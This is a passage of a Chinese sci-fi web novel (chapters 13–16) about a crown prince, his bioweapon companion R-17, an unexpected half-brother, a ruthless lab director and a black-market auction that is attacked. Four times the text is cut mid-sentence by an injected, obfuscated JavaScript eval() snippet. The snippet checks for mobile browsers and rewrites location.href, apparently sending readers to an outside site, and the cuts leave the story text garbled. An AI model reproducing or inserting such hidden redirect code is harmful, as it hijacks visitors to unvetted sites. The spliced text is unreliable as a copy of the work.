再说,时闻歌道:“我一个早就宣布隐退修养的皇子,到公开场合的拍卖会,估计很多人会觉得我是去添堵的吧。” 安瑟伦嘻嘻笑着说:“我想也是呢。” “那听听第二个消息咯,你也知道我们这边境黑市往来频繁,同样是明天晚上八点,下城区也有一场黑市拍卖会,这个就更厉害了。” 他突然放低声音,像是在刻意营造神秘氛围,一时间花房内的蜂鸣和鸟叫都抛诸脑后,他压低声线说:“据说,你亲爱的舅舅,我们敬爱的皇家生命科学院前院长大人的手稿,也在其中……” “R-17。”时闻歌突然回头,打断安瑟伦的话。 在他身后,R-17像凭空出现的一般,只是和管家汇报的不同,他手里除了有一本已完成的练习册,另一只手上还拖了一个人。 他就这样沉默无言地站在时闻歌身后,身躯在头顶落下一小片阴影,面罩遮盖住他充满诱惑力的容颜,直到时闻歌察觉到他的存在,第一时间叫破他的名字。 “哟,R-17,”安瑟伦好奇地看向他的手腕,“这是谁?” R-17不说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517451|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到时闻歌也望向他:“嗯?” “庄园外发现。”R-17回答,“有恶意。” 时至今日R-17仍旧不习惯在除了时闻歌以外的人面前说话,即使他前两周曾在时闻歌的默许下见过安瑟伦一次,那是他例行交作业的时候,光是近身五米范围内直面多个活人就难以忍受了,他不想再和别人有过多交流。 以至于说出口的话太过简洁明了,时闻歌翻译:“在庄园外围看见一个鬼鬼祟祟的人,你就把他打晕带回来了?” 被拖回来的人是个少年,说得好听是打晕,说得难听就是快死了,R-17仍旧不能很好地控制住自己的力道,他下了楼,第一次离开室内大门,隐约察觉庄园大门外有个弓着身子不知道想干什么的人。他闪现过去,觉得自己只是想跟这位不速之客打个招呼,却在对方脖颈留下几个深深的五指印。 左右对方都是出现在庄园周围鬼鬼祟祟的可疑人士,R-17原地分辨了一会,将他扛过来,手脚捆上镣铐,现在随意地丢在花房地板。 R-17:“不是故意。”来晚的。 “我知道,不会惩罚你。” “嗯。”R-17注视时闻歌,慢慢说,“那,奖励?” “也没有。”时闻歌勾起嘴角,“保护我是你的本职工作。” “……好。” R-17带了头盔,之前测试过特定人群短时间内近身接触带了头盔的R-17不会受到他的精神攻击,安瑟伦也就没在意,无视两人的对话,专心盯着被打晕的那人看。 “这谁?我怎么觉得有点眼熟。” “二十年前娱乐圈有一位如日中天的女明星,叫明云。”时闻歌说,“十八年前她突然退圈,据说是为爱息影,生孩子去了。” “哦,哦,大明星嘛,听说过听说过,我妈没死的时候还是她粉丝呢,专门有个书架和虚拟空间收纳她的各种谷子……等等,”他反应过来,“你提一个二十年前的女明星干嘛?跨时代追星?没看出来嘛老时你还有这兴趣。” 谁跟你说这个了,时闻歌眼神示意地上的小朋友:“他叫明青临,明云退圈生下的龙凤胎之一。” 时闻歌又从果盘里挑了块西瓜,慢条斯理地喂给R-17,看着他悄悄掀开面罩一角,咽进嘴里,喉头上下一动。 “好吃吗?” R-17抿抿嘴:“很甜。” “那让安瑟伦再多送点。” 安瑟伦相当不满:“刚刚不是评价还行吗,现在怎么让我多送点了,而且你怎么光喂R-17不喂我,我们不是穿一条裤子长大的?唉,男人的嘴骗人的鬼。” 那两人根本就不搭理他。 安瑟伦讨了个没趣,当然他也就是随口说说,仍然蹲在地上从一团乌青中辨认明青临的五官:“哎,你觉不觉得他长得有点像……有点像你啊。” “是有点像。”时闻歌承认。 他随口抛下一颗炸弹,“因为他母亲就是为我父亲生子而退圈,离开帝都星生下孩子。” “换言之,他是我同父异母的弟弟,假设继承人法案真有更改的一天,他说不定有机会登上皇位。” “啊??” 安瑟伦呆了。 十八年前露水情缘带球跑,十八年后亲儿寻亲,一看皇帝是我爹。 他张了张嘴,诚实地发表感想:“如果不是性别和时代都不对的话,我觉得和琼瑶老师的某部作品有点相似呢亲。” 14. 第 14 章 时闻歌他爹,帝国皇帝时云舟其人,平生没什么爱好,不参政事不涉军务,就喜欢万花丛中过,片叶不沾身的感觉。 秘书处每次焦头烂额地为皇帝陛下善后,也仅仅是做到扯了块摇摇欲坠的遮羞布,皇帝陛下渣男海王的名声都快成帝国居民茶余饭后的谈资,明面上没彻底说破而已。 “我们皇帝也是牛逼哈,搞出这么大一个私生子都不说,”安瑟伦对准昏厥的少年比划了一下,抬头,“咋办呢,我闻?” 被点名的时闻歌立马流露出优雅的浅笑。 然而即使是脑袋空空的R-17都能分辨出他笑容的含义,时闻歌的微笑大致可以划分为两个意思:关我什么事?关你什么事? 现在就是典型的“关我什么事”,时闻歌往后躺下,躺椅边是单膝跪地的R-17,他这一躺顺势就靠在R-17肩上,手在他蓬松的发顶找了个舒服的姿势不动了,冷冰冰道: “丢出去。” “对同父异母的弟弟这么狠的嘛,你住的地方这么偏,他又被咱们十七弟伤得这么重,丢出去可就死外面了。”安瑟伦鳄鱼似地呜呜两声,“皇上,你好狠的心。” 哪来那么大的戏瘾? 时闻歌无情推拒:“那你带走。” “老大,大学宿舍六人间挤得满满当当,我往哪带呢。” “既然没用的话,你也走吧。” 逐客令就差明晃晃贴脑门上了。 “我发现你这人真的是拿我当工具人,用完就丢,”安瑟伦赶忙塞了两口瓜,拍拍屁股起身,“行吧,我碍事,我碍眼,我走行了吧。” 庄园安瑟伦来过无数次,本人也不讲究所谓的皇室礼节,没等老管家赶来相送,他就麻溜地拍屁股起身。 临走前他特意绕到R-17身边,手犯贱想摸一把传说中柔软的白毛,但时闻歌不给他这机会,嗤笑一声,用插瓜的叉子架住他的手。 “别动手动脚的。”时闻歌淡淡道。 “摸摸也不成?”安瑟伦切了一声,悻悻地收回手,“大没良心的。” 这是时闻歌。 “小没良心的。”这是瞬间跃到离他最远的地方的R-17。 工具人也是有尊严的! 工具人生气地走掉了! 直到安瑟伦的身影完全消失在视野中央,鬼火摩托的尾气在半空拉出一道长长的浅灰线条,R-17这种抗拒的姿态也没能完全平息下来。 他默默地走回时闻歌身边,接受主人将手放在后颈,顺了顺毛:“放轻松,还难受吗?安瑟伦已经走了。” “克制中,”R-17缓缓道,“还好。” R-17已经尽量克制自己澎湃的攻击欲望,他能忍受和他人短时间身处同一室内,不代表他能接受除了时闻歌以外的人触碰他。 “我很想,扭断,他们的脖子。”无论是安瑟伦,还是地上躺着的明青临。 “但你按照我的要求控制住了。” 时闻歌持续抚摸他的后颈,看他四肢渐渐舒展开,喉咙打起愉悦的小呼噜。 抚摸的动作愈加缓慢:“很棒,很棒,好孩子,你做得很好。” 有时候他会觉得R-17比起人类更像是一只野外长大的猫科动物,身手矫健,警惕性很高,对陌生的环境和人会下意识产生强烈的应激冲动,但在时闻歌手上他却将自己的一切攻击欲望全部收敛了,他的爪牙、修长的手脚和清俊的下巴,都乖巧得令人心生爱怜。 现在,乖巧的R-17蹭了蹭他的掌心,半个音节平滑流出:“m——” “你敢喊出那个称呼今晚就去水牢呆着。” R-17从善如流即刻改口:“抱歉,闻。” “明天,带我一起。” 花房不隔音,时闻歌和安瑟伦的讨论也完全没有避讳的意思,从门口走到花房的这段时间足够R-17将他们的对话听得七七八八,他听见安瑟伦提出明天有两场拍卖会,也听见时闻歌的同意,最后是他自己心里琢磨的意愿。 “你也想去?为什么?”时闻歌问。 平日学习的内容不包括拍卖会,他明明连这个词的意思是什么都不甚明了。 “武器,要发挥价值,”R-17把自己的脸和时闻歌的掌心贴合在一处。 近一个月的恢复足够令他的声带恢复到常人水平,此刻R-17的声音像松林间潺潺流淌的溪涧,他说:“我的价值,是保护你。” 保护我? 尽管他是出于好意,但R-17好像没能理解自己和时闻歌的确切含义,主人高高在上,怎么能由宠物擅自凌驾于他的意志。 所以,时闻歌不假思索地就拒绝了:“保护?我不需要保护。” “而且亲爱的,你似乎忘记了你人形天灾的身份,我们曾约定过你不能出现在人群聚集的闹市中。” “可是……” “可是什么?” R-17将手心贴合在心脏,他不知道该如何解释自己的想法,他只知道独处太难熬了,一旦时闻歌丢下他,剩他自己被关在地下室,光是想象都会产生一种强烈的焦躁与不安。 但是主人的命令是无法违背的。 R-17只能低下头,紧紧咬住嘴唇,不甘心的说了声:“没什么。” 现在花房躺着个人。 时闻歌不想管,明青临是他同父异母的弟弟这件事目前很少有人知道,他母亲将他藏得很好,就连时闻歌自己也是通过小说知道的——在那本以R-17为主角的小说中,明青临是主角的追求者之一。 这件事要到三年后才爆出来,彼时皇室继承人修订法案已通过,明青临拥有合法的皇子身份,使得他在R-17一众追求者中不那么磕碜。但也仅此而已了,原著小说中他没有什么戏份。作用也仅仅是深夜递个雨伞,跟在R-17身后喊两句口号般的我爱你,便再没有出现过。 成为皇子都未能在追求者中占据一席之地,可想而知明青临这个人除了身份和家庭以外实在是没有什么可取之处。 不值得拉拢。 丢出去,生死都和他没关系。 盛夏晨光透过天窗落在身周,仿佛为时闻歌披上一层远离浊世的纱,他是那样冰冷又那样无情,侧身回望,上挑的眼尾瞥见R-17原地失落却又不懂反驳的模样。 终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517452|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究还是叹了口气。 “算了,让管家来,先把明青临带回去。” 他并没有改变主意,不带R-17去就是不带R-17去。 但可以给他找点事做。 “你把我弟弟打成重伤。”这时候又承认是弟弟了,仿佛之前想让明青临等死的不是他一样,时闻歌说,“不惩罚你,但是在这期间你要负责监视他的一举一动。” ——警戒,也是武器的职责。 塌下去的双肩突然挺直,R-17的身姿肉眼可见的开心起来,他急忙追上时闻歌,在忍不住叫出那个会令自己遭受惩罚的称呼之前,轻轻地悄悄地,用食指牵起他的衣角,随后轻快地离开。 。 第二天,晚七点。 明青临在一个陌生的医疗舱中醒来。 记忆的最后是被一个可怕恐怖的怪物袭击,他还以为自己要死在这里,可是现在除了头痛以外没有发现任何伤势,不知道是谁救了他,又用医疗舱治好了他。 他推开医疗舱的门,翻身下床,所在房间空无一人。 “喂!” “有人吗——” “这里是哪里啊?” 他扯着嗓子喊。 他不确定自己是被绑架了还是怎么回事,但他记得自己乘坐运输舰跟着妈妈和姐姐回到帝都星,他不知道为什么一家人会突然决定离开家乡,问起的时候,妈妈回答:“因为我们要去拿回应属于我们的东西。” 什么应属于我们的东西? 明青临一头雾水。 然后他得知,他十七年人生都没出现过的爹,是堂堂皇帝。 而他,明青临,说不定能成为皇子。 ……那可是皇子啊! 能和太子殿下平起平坐的皇子! 于是得知消息的第一时间,他马不停蹄地奔向郊区庄园,就算被人莫名打昏再被人莫名治好,他也初心不改,在陌生的房间大喊。 “闻歌,时闻歌!哥你在吗?” “我是你未曾谋面的弟弟啊!” 在时闻歌书房,按照命令一直监视他的R-17:“……” 自来熟。 不要随便和闻攀关系。 他打开麦克风:“闭嘴。” 时闻歌临走前随便找了间空房间,便连人带医疗舱丢进去,再没管过,如今明青临苏醒后在这陌生的房间吓了一跳:“谁呀?谁在说话?” “我告诉你,我可是太子的亲弟弟,四舍五入就是殷渡·阿兹拉尔大人的侄子,我来是有重要的情报要跟我哥分享。” 明青临絮絮叨叨说了一大堆,被R-17全部无视,他只在乎自己关心的点:“殷渡·阿兹拉尔是谁?” 画面中,明青临似乎被这一疑问逗笑,夸张地比划着,竹筒倒豆子噼里啪啦一顿输出。 “这你都没听过?殷渡·阿兹拉尔,皇后殿下的哥哥,阿兹拉尔家族的族长,皇家生命科学院的前院长,人类近百年最伟大的科学家之一。” “——一位尝试制造出完美生物的伟大造物主。” 随后,明青临遗憾地摇摇头:“可惜没造出来就死掉了。” 15. 第 15 章 “殷渡,最伟大的生物制造领域专家。” 帝都星,某处地下。 天花板内嵌的白炽灯光微微晃动,映照研究所会议室惨白的墙壁,凌晨一点这处依旧攒动着各色人群,他们围坐在会议桌边,为首的是名身着白大褂的中年男子。 他叼着烟,烟头火星明灭,二手烟在会议室半空扩散,他慢悠悠地开口,声音听不出情绪:“……皇家生命科学院的明珠,主持研发胚胎摇篮、治疗用纳米机器人,军用生物外骨骼等多种技术,在生物制造这方面的成就无人能及。” “但是,他死了。” 男人冷冷道:“死了,就意味着他被科学抛弃了。” “他的项目以失败告终,他的成就是过眼云烟,他的科研会成为我的踏脚石。”中年男人十指交叉托住下巴,语气怪腔怪调,点名右手一个身形臃肿的研究员,“詹姆斯博士,您说说,殷渡死前最后一个科研项目主题是什么呀?” 那研究员战战兢兢地站起来,声音有些发抖:“与、与军部的合作,改进、改进生物兵器,让其进化得更、更完美。” “回答得很好,请坐,詹姆斯博士。” 男人的笑声嘶嘶,如同一条吐信子的毒舌:“他死了,这个项目就算是失败了,这是殷渡履历唯一一个污点,而我,注定要超越他。” 他双臂张开,拥抱天空:“科学,和人类历史都将记录我的名字!” 等陶醉过后,他看上去重新冷静了,再次点名坐在左手第一位的男人:“霍普先生,您是研究所的安保队长,麻烦您告诉我,现在我们的完美生物兵器在哪里呢?” 霍普队长简直感觉如芒在背,头皮像是被千万根针扎,他起身:“一月前从基地劫走R-17的雇佣兵已尽数确认死亡,目前找到的幸存者仅一名,我提取了他的记忆,据其所述是R-17团灭了所有人然后逃走了……” “哦?你是在通过描述R-17的强大夸赞我的成果吗?” “不,不是这个意思,null博士,”霍普极力为自己辩解,“R-17体内的定位器不知道为什么失效了,我们的人追踪不到他的行迹,肯定是绑架他的势力派来接应的人干的,目标说不定早就逃出帝都星,所以我们的人才没能从帝都星的各种监控摄像头找到他……” null夸张地表达诧异:“哦?原来是这样?” 忽然咚咚,两道轻微的敲门声。 一个几乎全身被改造成机械的少年走了进来,除了一颗头都是黑漆漆的合金,双眼一红一蓝闪烁人造的光。 他似乎不适应和这么多人一起挤在一间小会议室,眉头皱了皱,不满呼之欲出,但他很快压下这点轻微不适:“我找到了R-17的线索。” “近期研究所实验用的供体供应不足,我受命调查供货商的进货问题,在其中某个供应商那发现了一张走失目标的画像。” 会议室内顿时一片哑然。 “等,等一下。”在这足以令人窒息而死的沉默中,霍普艰难张口,还想为自己辩解两句,“您听我说,null博士……” “一个月了,你这蠢货什么都没查出来,”null厌烦摆手,“我忍你很久了,傻逼,狗日的败类,你除了偷我的研究资金以外到底会干什么。” “既然你这愚蠢的脑子是个纯摆设,不如我给你换了吧。” 他敲敲桌面,两名全副武装的机械守卫立刻推门而入,浑身上下散发透骨的寒意,接过null的授意抓住霍普的双臂将他高高提起。 “既然供体出现问题,不如就让你填这个窟窿好了。”null笑眯眯地望向霍普,后者全身被桎梏,大滴大滴汗珠淌下额头,null却全然不在意,“虽然你年龄大了点,实验成功的概率低了点,不过呢,能为我的事业贡献一点失败的经验也算是你平庸生命的伟大高光,去吧霍普阁下,吾等会铭记你光荣的奉献。” “不!不啊!” 霍普垂死挣扎,但这都是徒劳。 他很快被机械卫兵拖走,惨叫的余音透过走廊在会议室内盘桓,权当作会议继续的背景音乐。 null点点半机械化的少年:“Root053,你继续说。” 和R-17一样,Root053也是研究所的成果之一,只不过R-17的研究方向是生物导向,而他经历的实验则是机械改造。 他看上去对刚才发生的一切没有一丝感情,面无表情道:“研究所的供货商之一是下城区的心理医生,姓谢,他会定期通过心理诱导或者药物控制的方式送来适龄的未成年人,以换取大量资金。最近一个月我们一直没有收到他的货,我接到命令赶往他的住址,发现人失踪了。” “我在他桌上找到这个。” 那是一张素描。 线条凌乱,笔触僵硬,画技谈不上高超,很多笔迹都涂到框外了,显然是谢医生沉浸在思绪时无意识画下的东西。 “心理医生,呵,心理医生,”null嘲讽地嚷了两声,“他失踪前接触过什么人?” Root053摇头:“记录都被抹掉了,不知道谁做的,后面我黑进帝都星交管局,调取他们内部数据库的监控数据,发现谢医生的车最后出现在这里。” 会议桌适时出现帝都星空轨地图,Root053将其放大再放大,最终确定一片郊区低空。 山岳静默,林木簌簌。 这是一条通往皇太子郊区修养别庄的路。 。 “殷渡·阿兹拉尔是谁?” 耳机另一端传来R-17不带感情的询问,还有叽叽喳喳的吵闹,是明青临发现自己无人回应的碎碎念,但R-17还是不搭理他。 深入地下之后信号好像也遭受影响,声音断断续续的,时闻歌一直等到信号稳定,抚摸耳麦:“想知道殷渡何必问明青临,问我岂不是更直接。” 耳机那边传来放轻的低音:“……好,不问了。” 这个回答好像不太好,半晌又刻意补救一般:“我不好奇,殷渡,他提到你了。” “你对殷渡不感兴趣,是听见明青临提到我你才问的?” R-17下意识重重点头,而后才想起时闻歌在遥远的城市之下,根本看不见他的肯定。 他又低低地用气音回答:“嗯,不好奇殷渡,好奇你。” “想知道我?” “想。” 时闻歌的笑声乘电子信号在耳边绽放,连带耳廓和后脑一起微微发麻,他说:“亲爱的,那是奖励, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517453|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得靠你自己争取。” 和贵族们组织的拍卖会不同,下城区这场拍卖会不在乎身份也不在乎安检,光一个照面时闻歌就认出了几张曾蹲过局子的脸。 安瑟伦:“这种拍卖会可不保证参与人的人身安全,万一想要的藏品拍到了,结果出门就被抢了怎么办?” 说得也是。 于是按照安瑟伦的建议,时闻歌戴头盔穿夜行服,身后还别了把长刀,把“我不好惹”明晃晃写在脸上。 现在是拍卖会的开场阶段。 开幕的拍品是幅画,时闻歌看了一眼就兴致缺缺,倒是安瑟伦在一旁滋滋有味地听主持人口若悬河,什么旧地球历史什么皇室认证都出来了,搞得这位继承农场的男大学生蠢蠢欲动,虎视眈眈盯着自己面前用来输入价格的平板。 他用手肘捅捅时闻歌:“大师真迹!童叟无欺!现在价格四十二万星币,不贵耶,老大你说我要不要拍?” “拍吧。” “真的啊?”安瑟伦兴致勃勃,“那我上了!” 就见时闻歌老神在在,眨眼拍下拍卖会场地,将照片发送给留守庄园的R-17:“四十二万买个教训,不亏。” 安瑟伦:“???” “真迹在皇宫的藏品库。” “……行。”够狠的兄弟。 拍卖会场地类似一个下陷的圆弧形斗兽场,头顶是用投影设备模拟的星空,实际是五米厚的水泥。场地没有灯光,最外围是负责警戒的保镖,最下方是展示拍品的地方,参加拍卖会的成员三三两两散落各处,看工作人员从左侧通道用小车推出蒙上黑布的藏品,再从右侧推入工作后台。 “这拍卖会真黑啊。”差点拍到赝品的安瑟伦恨得牙痒痒,“连一幅画的真假都不能保证,我怎么觉得前院长的实验记录可能也是假的。” “说不定是人家故意卖你假货呢?” “啊?那怎么办?我们不会空手而归吧。” 时闻歌伸手拍拍安瑟伦的肩,意思是我怎么知道,我也是第一次参加这种黑市拍卖会啊。 主持人的吆喝和推销一轮接着一轮,场内气氛也越吵越高,时闻歌对什么罩子外挖出的红宝石什么十年酿造的醇香美酒都没兴趣,拍照片已经满足不了他了,索性直接打开直播,告诉R-17:“看见感兴趣的东西可以直接问,但我不会买。” 安瑟伦嘲笑:“装大款吧你。” 时闻歌懒得向他解释,不是谁都喜欢用垃圾填满自己的家,他问R-17:“明青临呢?” 拍卖会上的东西大多R-17都没见过,他直勾勾地任由那些新奇的玩意在视网膜一一划过,同时不忘回答时闻歌的话:“他说,很崇拜你,和殷渡,死了的见不到,所以想见你。” 因为崇拜所以一个人偷偷找过来,这算什么? 私生粉? 时闻歌无所谓,他对这件事既没有正面也没有负面的看法,不在乎自己的私人领地被入侵,也不为自己被人崇拜而欣喜。 但R-17好像有自己的想法,他记起时闻歌教育过的,不能让自己的意志凌驾于主人之上,可他实在想向时闻歌表达,纠结了半天。 清脆而又单薄的声音传来:“不想你见,不见他,闻,好不好?” 16.第 16 章 凭心而论,时闻歌对明青临没有兴趣。 区区一个私生子,背景简单,拥有父皇那方的血缘,就算继承人法案修改了也是一个没有任何竞争力的对手,如果光靠血缘就能获得另眼相待的话,他和皇帝的关系就不会众所周知地差。 但逗R-17好像很有趣的样子。 时闻歌无端生出一些别样的心思,和他往日镇静冷漠的样子大相径庭。他故意沉默几秒,听耳机那端的呼吸声愈发急促。 而后说:“毕竟是半个皇室血脉,算是孤的弟弟,若按你所说,连面都不见,是否显得孤这位皇太子太过薄情?” “不是!” R-17急忙反驳,丝毫没有察觉到时闻歌的意图,不过他在时闻歌心里本就不太聪明,慌忙解释:“你很好,明青临不好,他闯进来,是敌人。” “你是被我绑来的,那你我也是敌人吗?” “这不一样!”R-17憋出一句。 “哪不一样?心怀恶意,限制自由,入侵边界,在你心里,我和明青临有什么区别?” R-17对时闻歌的诡辩毫无招架之力,想了半天也不知道该如何反驳,硬邦邦地回答:“不一样,就是不一样。” “我不介意,你绑走我,谢谢你。” “哦?我应当做的,不用谢。” 时闻歌坦然接受,一点都不心虚,他一回头发现原本坐在身边的安瑟伦现在离他八丈远,那副恨不得把头转一百八十度的抗拒样子像是在说:“这谁?我不认识?” 时闻歌:“?” 时闻歌疑惑:“你不是要介绍拍品?”坐得离我这么远怎么介绍? “兄弟我觉得有点恶心。”安瑟伦呲牙咧嘴,一脸胃疼的表情。 “恶心就先忍着,这里又没有医生。” 安瑟伦:“……” 怎么能有人对宠物和对兄弟两副完全不同的面孔,安瑟伦受不了那两个人一直说些莫名其妙的酸话,低头看了眼时间。 晚上九点半。 拍卖会持续时间不长,截止目前进程过了大半,一般来说,拍卖会都是越往后亮相的东西越有价值,随着中间舞台主持人推销的声音和四周热烈的气氛愈发浓烈,安瑟伦静心一看,很快轮到他们此行的目标。 一组二手的实验用生命监测设备,和其配套的实验手稿。 设备比较大,拍卖会只展示手稿部分,用小推车推着上台,主持人高昂兴奋的声音同一时间响起:“实验用的高精尖设备,出自皇家生命科学院!造价打底三百万星币!但是相信在座的各位比我更懂,这种牛逼设备光靠有钱就能买得到的吗?不不不,除了钱,还要有权力,或者运气!” “现在就是各位的好运到了!一套设备,搭配我们家喻户晓的大科学家殷渡·阿兹拉尔博士对该设备的数据手稿,设备有了,设备的使用说明书兼开发方向有了!” “它的价值无以估量!还在等什么呢?让大科学家的大脑成为诸位的踏脚石,掀起人类帝国再一场科学风暴!” 主持人大手一挥:“那么我宣布,起价五百万星币,拍卖开始——” 场地漆黑犹如最深最阴暗的海底,在主持人话刚结束的瞬间,正对舞台右前方一束亮光拔地而起,紧接着没有感情的机械声在全场头顶宣布:“六百。” “六百万!六百万星币!”主持人朗声,“3号看台的客人出价六百万,还有没有比这更高的?” “六百五!” “六百八!” “八百!” 眼见一套二手器材炒到天价,安瑟伦咂舌:“我的天,没想到这东西这么贵,咱们还买吗?” 他现在不觉得恶心了,知道该挪回来了,但一回头发现时闻歌根本没想搭理他,还坐在原处,轻声和R-17通话。 R-17被之前那番模糊重点的说辞绕得都忘记一开始他的目的是想让时闻歌别和明青临见面,反而专注地用他贫瘠而又直接的语言能力,试图让时闻歌相信绑架没有错。 “你是说虽然绑架被写进刑法了,但它本身没错是吗?”时闻歌都好奇了,想看看R-17怎么解释这个问题。 “嗯。”R-17重重点头,即使他根本不懂刑法。 但他知道法律是规则,是一组规定人类行为合理性的规则,而他不在这组规则的约束范围以内。 他说:“我是武器,你对我做什么,都合理,绑走我,也合理。” “我是人类。”时闻歌说,“法律能困住我吗?” “不能。” R-17小声地说。 人类,是一种极其脆弱的生物,他们跳不高,看不远,无法在恶劣极端的环境中生存,轻轻触碰或是无意识地眨眼都能造成他们的死亡。 但时闻歌不一样。 手枪破不开R-17的防御,但时闻歌可以,常人无法直视R-17的眼睛,但时闻歌可以。如此强大,如此异常,异常到根本不可能是脆弱的人类这种生物的一员。 R-17的认知本就存在问题,即使时闻歌有手有脚,五官轮廓看上去和普通人类没有差别,但R-17也是有和人类相似的外形。 有人形的R-17是武器,那有人形的时闻歌也不见得非要是人类。 他不理解时闻歌为什么要自称人类,但是主人的说法不容质疑,于是R-17在自己的语言库搜刮半天,最终选择一个能说服自己的说法:“劣等的规则,不适用你。” “你是更高级的人类。” R-17屏息聆听,然而耳机那头始终没传出他想念的人的声音,是说错话了吗?比起不擅长的语言,说不定使用暴力这种沟通方式更能令他安心,至少不会像现在这样默默地等待,像是在实验台等待注射麻醉剂般煎熬。 数次吸气吐气之后,他听见时闻歌的回复:“嗯。” “说服我了哦,R-17。”时闻歌抬头瞥了眼会场中心,主持人正激情展示拍卖中的手稿笔记,借助科技将笔记投影到在座客人的芯片设备中,邀请所有人一同辨别真伪。 他翻了翻,随后将大部分注意力分给R-17,“可我犯不犯法和我见不见明青临有什么关系?” R-17:“……啊?” 光听声音都想象得到他此刻呆愣的愚蠢样子。 一直旁听的安瑟伦都忍不住可怜R-17了:“是的,没错,我们老大就这样,欺负你跟拿捏小猫咪没区别。” “才不是我们。”R-17嘀嘀咕咕。 他声音太小,中间又隔着个时闻歌,安瑟伦一个字都没听见R-17在说声,他抓紧催促时闻歌:“老大,现在设备和手稿拍卖炒到一千万了,你到底买不买?” 手稿投影和设备说明出现在视野中央,泛黄卷曲的边缘依稀可见曾经频繁的记录。 时闻歌终于舍得将注意力分给眼前的拍品,然而却只有一眼,如同古井平静的冷水。 他将视线挪开,矜持地笑了笑:“设备不错,但手稿——假的。” “什么?!” “殷渡没写过这些东西。”他伸手关闭手稿的投影,“大部分人都是冲着舅舅的名声而来,但很可惜,拍下的却是毫无意义的东西。” 再说了,他对殷渡留下的东西也没有兴趣。 普通的身体检查仪器无法监测R-17的生命状态,他想要的,是一套能供实验体使用的测量装置。 “那现在拍卖这设备……” “能用,最多值两百万,一千万……”听见主持人再次唱价后时闻歌眉毛一扬,手心向上,邀请的姿态,“现在一千一百万了,如果你有兴趣的话,请?” “……你不要用人傻钱多冤大头的眼神看着我。” 时闻歌已经不理他了。 耳机通话一直没关,R-17可以清清楚楚听见拍卖会场内的动静,他沉默着,不知道该如何在一场他什么都不了解的对话中插入。 设备和手稿的拍卖如火如荼地继续,记忆中从没有如此嘈杂的时刻,R-17呆在家里,面前就是明青临在场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526156|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的监控画面。他想得出神,手指不小心在桌上戳出个洞。 庄园内一切都是时闻歌的私有财产。 侵害主人的财产,很坏。 时闻歌不知道他这边小小的骚乱,他叫一声R-17的名字,说:“想让我不见明青临?可以,在我回去之前,撬出他口中和殷渡有关的全部信息,无论你用什么方法都可以。” “好!”R-17眼睛瞬间亮了,一激动手掌啪地一下,随后是木头倒塌的声音。 原本是被戳了个洞的桌子现在彻底残废 他有些心虚地别过头:“想要更多的奖励……” “你想要什么?” “想要一个,答案。”他想起时闻歌曾经说过的话,想起他在研究所所经历过的探究眼神,终究还是问出口,“之前你带我去山顶,你说我们是同类,是真的吗?” “你就想知道这个?” “嗯。”R-17垂下眼眸,“现在就想知道。” “可以。”时闻歌轻声承诺。 轰隆—— 就在他话音落下的那一刻,拍卖会场天花板轰然倒塌!灯光和所有电子设备信号被悄无声息阻断,五米厚的水泥碎石砸地掀起遮天蔽日的灰雾,整个场地变成暗无天日的海。 无数个幽暗的身影自雾海中浮现,他们从四面八方向中间舞台涌动,定睛一看竟全部都是半人半机械的改造人。会场边缘的保镖们死寂半秒,立刻和这帮改造人打了起来! 霎时间枪声、哭喊汹涌,血液和断肢澎湃,使得本就嘈杂的会场更加吵闹,安瑟伦双手抱头往时闻歌身边靠。 茫然且震惊的双眼中只有四个大字。 怎、么、回、事?! 新入场的改造人手起刀落,枪枪致命,他们冲向舞台的动作整齐而又明确,显然是有备而来。 时闻歌心中顿时明白:“有人想不花一分一毫,将殷渡的手稿抢到手。” 即使这份手稿是假的。 他不耐地啧了一声,荒诞的是这份不耐却不是针对冲进会场搅乱他行程的不速之客。在天花板塌陷的一瞬间,他听见耳机传来刺啦的一声,随后再没任何回复的声音。 这幅安全加密耳机牺牲了便捷性和高功能性,取而代之的是能无视现有的信号屏蔽技术实现中短距离通话,就算他这里会场遭遇入侵,也不该没有回应。 能导致R-17失去联络的原因只有一个。 